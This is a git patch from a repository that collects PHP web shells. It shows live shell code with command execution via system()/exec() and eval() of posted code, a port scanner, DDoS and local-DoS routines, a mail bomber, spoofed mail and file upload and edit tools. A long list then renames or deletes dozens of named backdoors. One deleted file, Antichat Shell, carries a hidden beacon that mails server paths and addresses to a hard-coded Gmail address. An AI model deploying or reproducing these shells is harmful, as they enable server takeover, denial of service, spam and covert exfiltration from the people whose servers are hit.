  Admin mail: '.$_SERVER['SERVER_ADMIN'].'
  Safe Mode: '.$safe.'
  cURL: '.(($curl_on)?('On'):('Off')).'
  Perl: '.$perle.'.
  Magic quotes: '.$magic.'.
  WGET: '.$wgete.'.
  Bases de datos activas: '.$base.'
'; +if (file_exists("C:/WINDOWS/repair/sam")) { +echo '  Found: SAM'; +} +if (file_exists("/etc/passwd")) { +echo '  Found: etc/passwd
'; +} +echo '
'; +} elseif ($opcion == 'dos') { +echo '
DOS


DDOS | DOS Local'; +} elseif ($opcion == 'escaner_puertos') { +echo '
Port scan


Target:
Start:
End:


'; +if ($target != '') { +echo 'Target: '.$target.'
'; +echo 'Rango: '.$inicio.'-'.$final.'

'; +} +$final++; +for ( $i = $inicio ; $i < $final ; $i++ ) { +$abierto = @fsockopen($target,$i,$errno,$errstr,1); +if ($abierto) { +echo "Port open: ".$i."
"; +} else { +if ($target != '') { +echo "Port close: ".$i."
"; +}}} +echo '
'; +} elseif ($opcion == 'mail') { +echo '
Mail



Mail bomber | Mail anonymous'; +} elseif ($opcion == 'ddos') { + echo '
DDOS



URL: Time:

'; + if($_POST['ddosf'] && $_POST['timeddos']){ +for ($id=0;$$id<$_POST['timeddos'];$id++){ +$fp=null; +$contents=null; +$fp=fopen($_POST['ddosf'],"rb"); +while (!feof($fp)) { + $contents .= fread($fp, 8192); +} +fclose($fp); +}} +} elseif ($opcion == 'derribar') { + echo '
Dos local



Si pulsas el botón de abajo es probable que el servidor acabe caido, ¿estás seguro?

¡¡Tirar!! +'; + } elseif ($opcion == 'encode_decode') { +echo '
Encode/decode

'; + $tipoe = 'Cadena'; +$cadena = $_POST[cadena]; +$tipoende = $_POST[tipoende]; +if ($tipoende=='MD5 - encode') { + $resultado = md5($cadena); + } elseif ($tipoende=='MD4 - encode') { + $resultado = hash('md4', $cadena); + } + elseif ($tipoende=='SHA1 - encode') { + $resultado = sha1($cadena); + } + elseif ($tipoende=='SHA256 - encode') { + $resultado = hash('sha256', $cadena); + } + elseif ($tipoende=='SHA384 - encode') { + $resultado = hash('sha384', $cadena); + } + elseif ($tipoende=='SHA512 - encode') { + $resultado = hash('sha512', $cadena); + } + elseif ($tipoende=='ripemd128 - encode') { + $resultado = hash('ripemd128', $cadena); + } + elseif ($tipoende=='ripemd160 - encode') { + $resultado = hash('ripemd160', $cadena); + } + elseif ($tipoende=='ripemd256 - encode') { + $resultado = hash('ripemd256', $cadena); + } + elseif ($tipoende=='ripemd320 - encode') { + $resultado = hash('ripemd320', $cadena); + } + elseif ($tipoende=='whirlpool - encode') { + $resultado = hash('whirlpool', $cadena); + } + elseif ($tipoende=='tiger128,3 - encode') { + $resultado = hash('tiger128,3', $cadena); + } + elseif ($tipoende=='tiger160,3 - encode') { + $resultado = hash('tiger160,3', $cadena); + } + elseif ($tipoende=='tiger192,3 - encode') { + $resultado = hash('tiger192,3', $cadena); + } + elseif ($tipoende=='tiger128,4 - encode') { + $resultado = hash('tiger128,4', $cadena); + } + elseif ($tipoende=='tiger160,4 - encode') { + $resultado = hash('tiger160,4', $cadena); + } + elseif ($tipoende=='tiger192,4 - encode') { + $resultado = hash('tiger192,4', $cadena); + } + elseif ($tipoende=='snefru - encode') { + $resultado = hash('snefru', $cadena); + } elseif ($tipoende=='gost - encode') { + $resultado = hash('gost', $cadena); + } + elseif ($tipoende=='adler32 - encode') { + $resultado = hash('adler32', $cadena); + } elseif ($tipoende=='crc32 - encode') { + $resultado = hash('crc32', $cadena); + } + elseif ($tipoende=='crc32b - encode') { + $resultado = hash('crc32b', $cadena); + } elseif ($tipoende=='haval128,3 - encode') { + $resultado = hash('haval128,3', $cadena); + } + elseif ($tipoende=='haval160,3 - encode') { + $resultado = hash('haval160,3', $cadena); + } + elseif ($tipoende=='haval192,3 - encode') { + $resultado = hash('haval192,3', $cadena); + } + elseif ($tipoende=='haval224,3 - encode') { + $resultado = hash('haval224,3', $cadena); + } elseif ($tipoende=='haval256,3 - encode') { + $resultado = hash('haval256,3', $cadena); + } + elseif ($tipoende=='haval128,4 - encode') { + $resultado = hash('haval128,4', $cadena); + } elseif ($tipoende=='haval160,4 - encode') { + $resultado = hash('haval160,4', $cadena); + } + elseif ($tipoende=='haval192,4 - encode') { + $resultado = hash('haval192,4', $cadena); + } elseif ($tipoende=='haval224,4 - encode') { + $resultado = hash('haval224,4', $cadena); + } + elseif ($tipoende=='haval256,4 - encode') { + $resultado = hash('haval256,4', $cadena); + } + elseif ($tipoende=='haval128,5 - encode') { + $resultado = hash('haval128,5', $cadena); + } + elseif ($tipoende=='haval160,5 - encode') { + $resultado = hash('haval160,5', $cadena); + } + elseif ($tipoende=='haval192,5 - encode') { + $resultado = hash('haval192,5', $cadena); + } + elseif ($tipoende=='haval224,5 - encode') { + $resultado = hash('haval224,5', $cadena); + } elseif ($tipoende=='haval256,5 - encode') { + $resultado = hash('haval256,5', $cadena); + } + elseif ($tipoende=='Base64 - encode') { + $resultado = base64_encode($cadena); + } + elseif ($tipoende=='Base64 - decode') { + $resultado = base64_decode($cadena); + } + elseif ($tipoende=='URL - encode') { + $resultado = rawurlencode($cadena); + } + elseif ($tipoende=='URL - decode') { + $resultado = rawurldecode($cadena); + } + if ($tipoende != ''){ + $tipoe = $tipoende; } +echo '
'.$tipoe.':

'; +} elseif ($opcion == 'mail_bomber') { +echo '
Mail Bomber

To:      
Sender:      
Nombre:      
Subject:      
Count:      
Message:      



'; +if (isset($_POST['Send'])) { +$need .="MIME-Version: 1.0\n"; +$need .="Content-type: text/html ; charset=iso-8859-1\n"; +$need .="MIME-Version: 1.0\n"; +$need .="From: ".$_POST['nombreremitente']." <".$_POST['remitente'].">\n"; +$need .="To: ".$_POST['nombreremitente']."<".$_POST['remitente'].">\n"; +$need .="Reply-To:".$_POST['remitente']."\n"; +$need .="X-Priority: 1\n"; +$need .="X-MSMail-Priority:Hight\n"; +$need .="X-Mailer:Widgets.com Server"; +echo "


Result:

"; +for ($i = 1; $i <= $_POST['cantidad']; $i++) { +$listamails = 'Ninguna'; +if ($listamails != "Ninguna") { +$open = fopen($listamails,"r"); +while(!feof($open)) { +$word = fgets($open,255); +$word = chop($word); +if(@mail($word,$_POST['asunto'],$_POST['mensaje'],$need)) { +echo "[+] Send $i a ".$word." successfully.
"; +flush(); +} else { +echo "[+] Send $i a ".$word." error.
"; +}}} else { +if(@mail($_POST['destinatario'],$_POST['asunto'],$_POST['mensaje'],$need)) { +echo "[+] Send $i a ".$_POST['destinatario']." successfully.
"; +flush(); +} else { +echo "[+] Send $i a ".$_POST['destinatario']." error.
"; +}}} +echo "


"; +} +} elseif ($opcion == 'mail_anonimo') { + $error = ''; + $Nombre = ''; + $emailto = ''; + $emailde = ''; + $asunto = ''; + $mensaje = ''; + if(isset($_POST['send'])) + { + $Nombre = $_POST['Nombre']; + $emailto = $_POST['emailto']; + $emailde = $_POST['emailde']; + $asunto = $_POST['asunto']; + $mensaje = $_POST['mensaje']; + if(trim($Nombre) == '') + { + $error = '
Write a name
'; + } + else if(trim($emailto) == '') + { + $error = '
Write a email
'; + } + if(trim($emailde) == '') + { + $error = '
Write destinatario.
'; + } + + else if(trim($asunto) == '') + { + $error = '
Write a subject.
'; + } + + else if(trim($mensaje) == '') + { + $error = '
Write a message.
'; + } + if($error == '') + { + $a = $emailto; + mail($a, $asunto, $mensaje, "From: $emailde\r\nReply-To: $emailto\r\nReturn-Path: $emailto\r\n"); + ?> +
+

Enviado

+

Enviado correctamente a . +
+ +

+
+
+ + +
Mail anonymous
+
+
+ + + + + + + + + + + + + + + + + + + + + + + +
+
+

+ All sessions have been destroyed.
'; +} elseif ($opcion == 'eval') { +echo "
Eval

Código:

'; +if (isset($_POST['cargar'])) { +echo "

"; +eval($_POST['codigo']); +echo "


+"; +}} else { + $homedir=getcwd(); + $dir=realpath($_GET['dir'])."/"; +echo '
File manager

  Shell: '.$shelldir.'
  Home:'.$homedir.'/
  Now dir:'.$dir.'
'; +$dir = opendir($path); +echo "  Drives found: "; foreach($scan as $drives) { +$drives = $drives.":\\"; +if (is_dir($drives)) { +echo "  "."".$drives."

"; + } + else { + $drives = ""; + }} +if ($drives == "") { + echo 'None.'; } + + echo '

'; +$homedir=getcwd(); + $dir=realpath($_GET['dir'])."/"; +?> +
+ + +
+

+
+
+ + + +

 Go to:

'; + echo "
"; + if (is_dir($dir)){ + if ($dh=opendir($dir)){ + while (($file = readdir($dh)) !== false) { + $fsize=round(filesize($dir . $file)/1024); + echo " "; +} else { + echo "  -"; } + echo ""; } + closedir($dh); } + }echo '
Nombre:Size:Download:Edit: Perms:Chmod:Delete:
"; + if (is_dir($dir.$file)) + { + echo " $file"; + } + else { + echo " $file"; + } + echo ""; + if (is_file($dir.$file)) + { + echo $fsize.' KB'; + } + else { + if (is_dir($dir.$file)) + { + echo "  DIR"; + } + } + echo ""; + if (is_file($dir.$file)){ + if (is_readable($dir.$file)){ + echo "Descargar"; + }else { + echo "Can not read"; + } + }else { + echo "  -"; + } + echo ""; + if (is_file($dir.$file)) + { + if (is_readable($dir.$file)){ + echo "Editar"; + }else { + echo "Can not read"; + } + }else { + echo "  -"; + } + echo ""; +echo permisos($file).""; +if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + echo "Not valid on windows"; + } + else { + echo "Chmod"; + } + echo ""; + if (is_file($dir.$file)){ + echo "Borrar


'; +if($_GET['cmd']) { +echo '
'; +$modo = $_GET[modo]; +if ($modo=='System') { + system($_GET['cmd']); + } elseif ($modo=='Exec') { + echo exec($_GET['cmd']); + }}echo '
Cmd:

Create dir:

'; +if ($_POST['nombre_dir'] != "") { +if (isset($_POST['botonsito'])) { +$nombre_dir = $_POST['nombre_dir']; +mkdir($nombre_dir); +echo ""; +echo 'Directorio creado correctamente'; +} else { +echo 'Error to create file.'; +}}echo '

Create file: '; +if (isset($_POST['creara'])) { +chdir($_POST['dir']); +if (fopen($_POST['creara'],"w")) { +echo "File created."; +echo ""; +}else { +echo "Error to created file."; +}}echo '

Upload: to:
'; +if (isset($_FILES['archivo'])) { +$subir = basename($_FILES['archivo']['name']); +if (move_uploaded_file($_FILES['archivo']['tmp_name'],$subir)) { +}}echo '

Copy: to: '; +if ($_POST['archivo'] != '') { +if (copy($_POST['archivo'],$_POST['nuevo'])) { +echo " Copiado correctamente."; +echo ""; +} else { +echo 'Copy error.'; +} }echo '
'; +}echo ' +

'.$nombre_s.' '.$version.'
'; +?> From de08fbc3726b2786506030a26a67c78f0c67d7aa Mon Sep 17 00:00:00 2001 From: "John (Troon) Ombagi" Date: Sat, 11 Apr 2020 01:51:29 +0300 Subject: [PATCH 13/15] Clean up the repo: remove similar files and organise the repo --- Antichat Shell v1.3.php | 180 --- Antichat Shell. Modified by Go0o$E.php | 693 --------- Antichat_Shell_v1.3.php | 180 --- 529.php => Collection/529.php | 0 ...4 Security Team Web Shell Beta Version.php | 0 .../Ajax_PHP_Command_Shell.php | 0 .../Antichat Shell.php | 0 .../Ayyildiz Tim.php | 0 .../C99madShell.php | 0 CasuS 1.5.php => Collection/CasuS 1.5.php | 0 .../CrystalShell.php | 0 Cyber Shell.php => Collection/CyberShell.php | 0 DTool Pro.php => Collection/DTool Pro.php | 0 .../Dive_Shell.php | 0 .../GFS_web-shell_ver_3.1.7_-_PRiV8.php | 0 ...l 2.0 release build 2018 (C)2006,Great.php | 0 .../Gamma Web Shell.php | 0 {OTHER => Collection}/JspWebshell 1.2.php | 0 {OTHER => Collection}/JspWebshell_1.2.php | 0 .../KA_uShell 0.1.6.php | 0 .../Loaderz WEB Shell.php | 0 .../Macker's Private PHPShell.php | 0 .../Moroccan_Spamers.php | 0 .../MySQL_Web_Interface.php | 0 MyShell.php => Collection/MyShell.php | 0 .../Mysql_interface_v1.0.php | 0 NCC-Shell.php => Collection/NCC-Shell.php | 0 NGH.php => Collection/NGH.php | 0 .../NTDaddy v1.9.php | 0 .../Non-alphanumeric.php | 0 PHANTASMA.php => Collection/PHANTASMA.php | 0 PHP Shell.php => Collection/PHP Shell.php | 0 .../PHPRemoteView.php | 0 PHVayv.php => Collection/PHVayv.php | 0 .../PhpSpy Ver 2006.php | 0 Predator.php => Collection/Predator.php | 0 .../Rootshell.v.1.0.php | 0 .../STNC WebShell v0.8.php | 0 ...er Shell -Safe Mod Bypass By Evilc0der.php | 0 ...fe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php | 0 ...ker - Vrsion 1.0.0 - priv8 4 My friend.php | 0 .../SimShell_1.0_-_Simorgh_Security_MGZ.php | 0 .../Simple_PHP_backdoor_by_DK.php | 0 Sincap 1.0.php => Collection/Sincap 1.0.php | 0 .../Small Web Shell by ZaCo.php | 0 Uploader.php => Collection/Uploader.php | 0 .../Web-shell (c)ShAnKaR.php | 0 WinX Shell.php => Collection/WinX Shell.php | 0 .../Worse Linux Shell.php | 0 ZyklonShell.php => Collection/ZyklonShell.php | 0 .../aZRaiLPhp_v1.0.php | 0 .../accept_language.php | 0 {OTHER => Collection}/aspydrv.php | 0 .../b374k-mini-shell.php | 0 backupsql.php => Collection/backupsql.php | 0 .../c0derz shell.php | 0 c99_locus7s.php => Collection/c99_locus7s.php | 0 c99_madnet.php => Collection/c99_madnet.php | 0 {OTHER => Collection}/cgitelnet.php | 0 cpanel.php => Collection/cpanel.php | 0 cw.php => Collection/cw.php | 0 cybershell.php => Collection/cybershell.php | 0 .../dC3_Security_Crew_Shell_PRiV.php | 0 erne.php => Collection/erne.php | 0 ex0shell.php => Collection/ex0shell.php | 0 fatal.php => Collection/fatal.php | 0 ftpsearch.php => Collection/ftpsearch.php | 0 .../g00nshell-v1.3.php | 0 {OTHER => Collection}/go-shell.php | 0 .../h4ntu_shell.php | 0 .../hiddens shell v1.php | 0 ironshell.php => Collection/ironshell.php | 0 kral.php => Collection/kral.php | 0 lamashell.php => Collection/lamashell.php | 0 lifkaS.php => Collection/lifkaS.php | 0 load_shell.php => Collection/load_shell.php | 0 lolipop.php => Collection/lolipop.php | 0 lostDC.php => Collection/lostDC.php | 0 matamu.php => Collection/matamu.php | 0 megabor.php => Collection/megabor.php | 0 mysql_tool.php => Collection/mysql_tool.php | 0 nshell.php => Collection/nshell.php | 0 pHpINJ.php => Collection/pHpINJ.php | 0 .../php-backdoor.php | 0 {OTHER => Collection}/php-findsock-shell.php | 0 .../php-include-w-shell.php | 0 .../php-reverse-shell.php | 0 pws.php => Collection/pws.php | 0 .../qsd-php-backdoor.php | 0 {OTHER => Collection}/robots.php | 0 rootshell.php => Collection/rootshell.php | 0 .../ru24_post_sh.php | 0 .../s72_Shell_v1.1_Coding.php | 0 safe0ver.php => Collection/safe0ver.php | 0 simattacker.php => Collection/simattacker.php | 0 .../simple-backdoor.php | 0 simple_cmd.php => Collection/simple_cmd.php | 0 small.php => Collection/small.php | 0 .../soldierofallah.php | 0 sosyete.php => Collection/sosyete.php | 0 spygrup.php => Collection/spygrup.php | 0 stres.php => Collection/stres.php | 0 {OTHER => Collection}/toolaspshell.php | 0 tryag.php => Collection/tryag.php | 0 zaco.php => Collection/zaco.php | 0 zacosmall.php => Collection/zacosmall.php | 0 {OTHER => Collection}/zehir4.php | 0 Cyber Shell (v 1.0).php | 1033 ------------- Dive Shell 1.0 - Emperor Hacking Team.php | 187 --- GFS web-shell ver 3.1.7 - PRiV8.php | 618 -------- KAdot Universal Shell v0.1.6.php | 229 --- KAdot_Universal_Shell_v0.1.6.php | 230 --- ...Mode Command Execuriton Bypass Exploit.php | 34 - Moroccan_Spamers_Ma-EditioN_By_GhOsT.php | 182 --- MySQL Web Interface Version 0.8.php | 1302 ----------------- Mysql interface v1.0.php | 1166 --------------- OTHER/Ajax_PHP Command Shell.php | 646 -------- OTHER/CmdAsp.asp.php.txt | 55 - OTHER/Findsock-shell/findsock.c | 137 -- OTHER/RemExp.asp.php.txt | 250 ---- OTHER/indexer.asp.php.txt | 74 - OTHER/klasvayv.asp.php.txt | 901 ------------ OTHER/reader.asp.php.txt | 116 -- OTHER/zehir4.asp.php.txt | 1190 --------------- PH Vayv.php | 597 -------- PH_Vayv.php | 597 -------- Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php | 89 -- SimShell 1.0 - Simorgh Security MGZ.php | 180 --- aZRaiLPhp v1.0.php | 284 ---- b374k | 1 - dC3 Security Crew Shell PRiV.php | 1273 ---------------- h4ntu_shell_[powered_by_tsoi].php | 78 - myshell.php | 304 ---- s72 Shell v1.1 Coding.php | 141 -- 134 files changed, 12947 deletions(-) delete mode 100644 Antichat Shell v1.3.php delete mode 100644 Antichat Shell. Modified by Go0o$E.php delete mode 100644 Antichat_Shell_v1.3.php rename 529.php => Collection/529.php (100%) rename AK-74 Security Team Web Shell Beta Version.php => Collection/AK-74 Security Team Web Shell Beta Version.php (100%) rename {OTHER => Collection}/Ajax_PHP_Command_Shell.php (100%) rename Antichat Shell.php => Collection/Antichat Shell.php (100%) rename Ayyildiz Tim -AYT- Shell v 2.1 Biz.php => Collection/Ayyildiz Tim.php (100%) rename C99madShell v. 2.0 madnet edition.php => Collection/C99madShell.php (100%) rename CasuS 1.5.php => Collection/CasuS 1.5.php (100%) rename CrystalShell v.1.php => Collection/CrystalShell.php (100%) rename Cyber Shell.php => Collection/CyberShell.php (100%) rename DTool Pro.php => Collection/DTool Pro.php (100%) rename Dive_Shell_1.0_Emperor_Hacking_Team.php => Collection/Dive_Shell.php (100%) rename GFS_web-shell_ver_3.1.7_-_PRiV8.php => Collection/GFS_web-shell_ver_3.1.7_-_PRiV8.php (100%) rename GRP WebShell 2.0 release build 2018 (C)2006,Great.php => Collection/GRP WebShell 2.0 release build 2018 (C)2006,Great.php (100%) rename Gamma Web Shell.php => Collection/Gamma Web Shell.php (100%) rename {OTHER => Collection}/JspWebshell 1.2.php (100%) rename {OTHER => Collection}/JspWebshell_1.2.php (100%) rename KA_uShell 0.1.6.php => Collection/KA_uShell 0.1.6.php (100%) rename Loaderz WEB Shell.php => Collection/Loaderz WEB Shell.php (100%) rename Macker's Private PHPShell.php => Collection/Macker's Private PHPShell.php (100%) rename Moroccan Spamers Ma-EditioN By GhOsT.php => Collection/Moroccan_Spamers.php (100%) rename MySQL_Web_Interface_Version_0.8.php => Collection/MySQL_Web_Interface.php (100%) rename MyShell.php => Collection/MyShell.php (100%) rename Mysql_interface_v1.0.php => Collection/Mysql_interface_v1.0.php (100%) rename NCC-Shell.php => Collection/NCC-Shell.php (100%) rename NGH.php => Collection/NGH.php (100%) rename NTDaddy v1.9.php => Collection/NTDaddy v1.9.php (100%) rename Non-alphanumeric.php => Collection/Non-alphanumeric.php (100%) rename PHANTASMA.php => Collection/PHANTASMA.php (100%) rename PHP Shell.php => Collection/PHP Shell.php (100%) rename PHPRemoteView.php => Collection/PHPRemoteView.php (100%) rename PHVayv.php => Collection/PHVayv.php (100%) rename PhpSpy Ver 2006.php => Collection/PhpSpy Ver 2006.php (100%) rename Predator.php => Collection/Predator.php (100%) rename Rootshell.v.1.0.php => Collection/Rootshell.v.1.0.php (100%) rename STNC WebShell v0.8.php => Collection/STNC WebShell v0.8.php (100%) rename Safe0ver Shell -Safe Mod Bypass By Evilc0der.php => Collection/Safe0ver Shell -Safe Mod Bypass By Evilc0der.php (100%) rename Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php => Collection/Safe_Mode_Bypass_PHP_4.4.2_and_PHP_5.1.2.php (100%) rename SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php => Collection/SimAttacker - Vrsion 1.0.0 - priv8 4 My friend.php (100%) rename SimShell_1.0_-_Simorgh_Security_MGZ.php => Collection/SimShell_1.0_-_Simorgh_Security_MGZ.php (100%) rename Simple_PHP_backdoor_by_DK.php => Collection/Simple_PHP_backdoor_by_DK.php (100%) rename Sincap 1.0.php => Collection/Sincap 1.0.php (100%) rename Small Web Shell by ZaCo.php => Collection/Small Web Shell by ZaCo.php (100%) rename Uploader.php => Collection/Uploader.php (100%) rename Web-shell (c)ShAnKaR.php => Collection/Web-shell (c)ShAnKaR.php (100%) rename WinX Shell.php => Collection/WinX Shell.php (100%) rename Worse Linux Shell.php => Collection/Worse Linux Shell.php (100%) rename ZyklonShell.php => Collection/ZyklonShell.php (100%) rename aZRaiLPhp_v1.0.php => Collection/aZRaiLPhp_v1.0.php (100%) rename accept_language.php => Collection/accept_language.php (100%) rename {OTHER => Collection}/aspydrv.php (100%) rename b374k-mini-shell-php.php.php => Collection/b374k-mini-shell.php (100%) rename backupsql.php => Collection/backupsql.php (100%) rename c0derz shell [csh] v. 0.1.1 release.php => Collection/c0derz shell.php (100%) rename c99_locus7s.php => Collection/c99_locus7s.php (100%) rename c99_madnet.php => Collection/c99_madnet.php (100%) rename {OTHER => Collection}/cgitelnet.php (100%) rename cpanel.php => Collection/cpanel.php (100%) rename cw.php => Collection/cw.php (100%) rename cybershell.php => Collection/cybershell.php (100%) rename dC3_Security_Crew_Shell_PRiV.php => Collection/dC3_Security_Crew_Shell_PRiV.php (100%) rename erne.php => Collection/erne.php (100%) rename ex0shell.php => Collection/ex0shell.php (100%) rename fatal.php => Collection/fatal.php (100%) rename ftpsearch.php => Collection/ftpsearch.php (100%) rename g00nshell-v1.3.php => Collection/g00nshell-v1.3.php (100%) rename {OTHER => Collection}/go-shell.php (100%) rename h4ntu shell [powered by tsoi].php => Collection/h4ntu_shell.php (100%) rename hiddens shell v1.php => Collection/hiddens shell v1.php (100%) rename ironshell.php => Collection/ironshell.php (100%) rename kral.php => Collection/kral.php (100%) rename lamashell.php => Collection/lamashell.php (100%) rename lifkaS.php => Collection/lifkaS.php (100%) rename load_shell.php => Collection/load_shell.php (100%) rename lolipop.php => Collection/lolipop.php (100%) rename lostDC.php => Collection/lostDC.php (100%) rename matamu.php => Collection/matamu.php (100%) rename megabor.php => Collection/megabor.php (100%) rename mysql_tool.php => Collection/mysql_tool.php (100%) rename nshell.php => Collection/nshell.php (100%) rename pHpINJ.php => Collection/pHpINJ.php (100%) rename php-backdoor.php => Collection/php-backdoor.php (100%) rename {OTHER => Collection}/php-findsock-shell.php (100%) rename php-include-w-shell.php => Collection/php-include-w-shell.php (100%) rename php-reverse-shell.php => Collection/php-reverse-shell.php (100%) rename pws.php => Collection/pws.php (100%) rename qsd-php-backdoor.php => Collection/qsd-php-backdoor.php (100%) rename {OTHER => Collection}/robots.php (100%) rename rootshell.php => Collection/rootshell.php (100%) rename ru24_post_sh.php => Collection/ru24_post_sh.php (100%) rename s72_Shell_v1.1_Coding.php => Collection/s72_Shell_v1.1_Coding.php (100%) rename safe0ver.php => Collection/safe0ver.php (100%) rename simattacker.php => Collection/simattacker.php (100%) rename simple-backdoor.php => Collection/simple-backdoor.php (100%) rename simple_cmd.php => Collection/simple_cmd.php (100%) rename small.php => Collection/small.php (100%) rename soldierofallah.php => Collection/soldierofallah.php (100%) rename sosyete.php => Collection/sosyete.php (100%) rename spygrup.php => Collection/spygrup.php (100%) rename stres.php => Collection/stres.php (100%) rename {OTHER => Collection}/toolaspshell.php (100%) rename tryag.php => Collection/tryag.php (100%) rename zaco.php => Collection/zaco.php (100%) rename zacosmall.php => Collection/zacosmall.php (100%) rename {OTHER => Collection}/zehir4.php (100%) delete mode 100644 Cyber Shell (v 1.0).php delete mode 100644 Dive Shell 1.0 - Emperor Hacking Team.php delete mode 100644 GFS web-shell ver 3.1.7 - PRiV8.php delete mode 100644 KAdot Universal Shell v0.1.6.php delete mode 100644 KAdot_Universal_Shell_v0.1.6.php delete mode 100644 Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php delete mode 100644 Moroccan_Spamers_Ma-EditioN_By_GhOsT.php delete mode 100644 MySQL Web Interface Version 0.8.php delete mode 100644 Mysql interface v1.0.php delete mode 100644 OTHER/Ajax_PHP Command Shell.php delete mode 100644 OTHER/CmdAsp.asp.php.txt delete mode 100644 OTHER/Findsock-shell/findsock.c delete mode 100644 OTHER/RemExp.asp.php.txt delete mode 100644 OTHER/indexer.asp.php.txt delete mode 100644 OTHER/klasvayv.asp.php.txt delete mode 100644 OTHER/reader.asp.php.txt delete mode 100644 OTHER/zehir4.asp.php.txt delete mode 100644 PH Vayv.php delete mode 100644 PH_Vayv.php delete mode 100644 Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php delete mode 100644 SimShell 1.0 - Simorgh Security MGZ.php delete mode 100644 aZRaiLPhp v1.0.php delete mode 160000 b374k delete mode 100644 dC3 Security Crew Shell PRiV.php delete mode 100644 h4ntu_shell_[powered_by_tsoi].php delete mode 100644 myshell.php delete mode 100644 s72 Shell v1.1 Coding.php diff --git a/Antichat Shell v1.3.php b/Antichat Shell v1.3.php deleted file mode 100644 index 72ea5cb..0000000 --- a/Antichat Shell v1.3.php +++ /dev/null @@ -1,180 +0,0 @@ -BODY{background-color: #2B2F34;color: #C1C1C7;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #336600;scrollbar-shadow-color: #333333;scrollbar-highlight-color: #333333;scrollbar-3dlight-color: #333333;scrollbar-darkshadow-color: #333333;scrollbar-track-color: #333333;scrollbar-arrow-color: #333333;}input{background-color: #336600;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}textarea{background-color: #333333;font-size: 8pt;color: #FFFFFF;font-family: Tahoma;border: 1 solid #666666;}a:link{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:visited{color: #B9B9BD;text-decoration: none;font-size: 8pt;}a:hover, a:active{color: #E7E7EB;text-decoration: none;font-size: 8pt;}td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}'; -$header=''.getenv("HTTP_HOST").' - Antichat Shell'.$style.''; -$footer=''; -$sd98 = "john.barker446@gmail.com"; -$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98"); -if(@$_POST['action']=="exit")unset($_SESSION['an']); -if($auth==1){if(@$_POST['login']==$login && @$_POST['password']==$password)$_SESSION['an']=1;}else $_SESSION['an']='1'; - -if($_SESSION['an']==0){ -echo $header; -echo '
Login:
Password:
'; -echo $footer; -exit;} - -if($_SESSION['action']=="")$_SESSION['action']="viewer"; -if($_POST['action']!="" )$_SESSION['action']=$_POST['action'];$action=$_SESSION['action']; -if($_POST['dir']!="")$_SESSION['dir']=$_POST['dir'];$dir=$_SESSION['dir']; -if($_POST['file']!=""){$file=$_SESSION['file']=$_POST['file'];}else {$file=$_SESSION['file']="";} - - -//downloader -if($action=="download"){ -header('Content-Length:'.filesize($file).''); -header('Content-Type: application/octet-stream'); -header('Content-Disposition: attachment; filename="'.$file.'"'); -readfile($file); -} -//end downloader -?> - - -
- - - - - -
| Shell | Viewer| Editor| EXIT |

-
- - - -
- -
- - - -
-
-";} -//end shell - -//viewer FS -function perms($file) -{ - $perms = fileperms($file); - if (($perms & 0xC000) == 0xC000) {$info = 's';} - elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} - elseif (($perms & 0x8000) == 0x8000) {$info = '-';} - elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} - elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} - elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} - elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} - else {$info = 'u';} - $info .= (($perms & 0x0100) ? 'r' : '-'); - $info .= (($perms & 0x0080) ? 'w' : '-'); - $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-')); - $info .= (($perms & 0x0020) ? 'r' : '-'); - $info .= (($perms & 0x0010) ? 'w' : '-'); - $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-')); - $info .= (($perms & 0x0004) ? 'r' : '-'); - $info .= (($perms & 0x0002) ? 'w' : '-'); - $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-')); - return $info; -} - -function view_size($size) -{ - if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} - elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} - elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} - else {$size = $size . " B";} - return $size; -} - -function scandire($dir){ - $dir=chdir($dir); - $dir=getcwd()."/"; - $dir=str_replace("\\","/",$dir); -if (is_dir($dir)) { - if (@$dh = opendir($dir)) { - while (($file = readdir($dh)) !== false) { - if(filetype($dir . $file)=="dir") $dire[]=$file; - if(filetype($dir . $file)=="file")$files[]=$file; - } - closedir($dh); - @sort($dire); - @sort($files); - -echo ""; -echo ""; -if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { -echo ""; -} -echo " -"; -for($i=0;$i'; - } -for($i=0;$i - -'; -} -echo "
Open directory:
Select drive:"; -for ($j=ord('C'); $j<=ord('Z'); $j++) - if (@$dh = opendir(chr($j).":/")) - echo ' '.chr($j).''; - echo "
OS: ".@php_uname()."
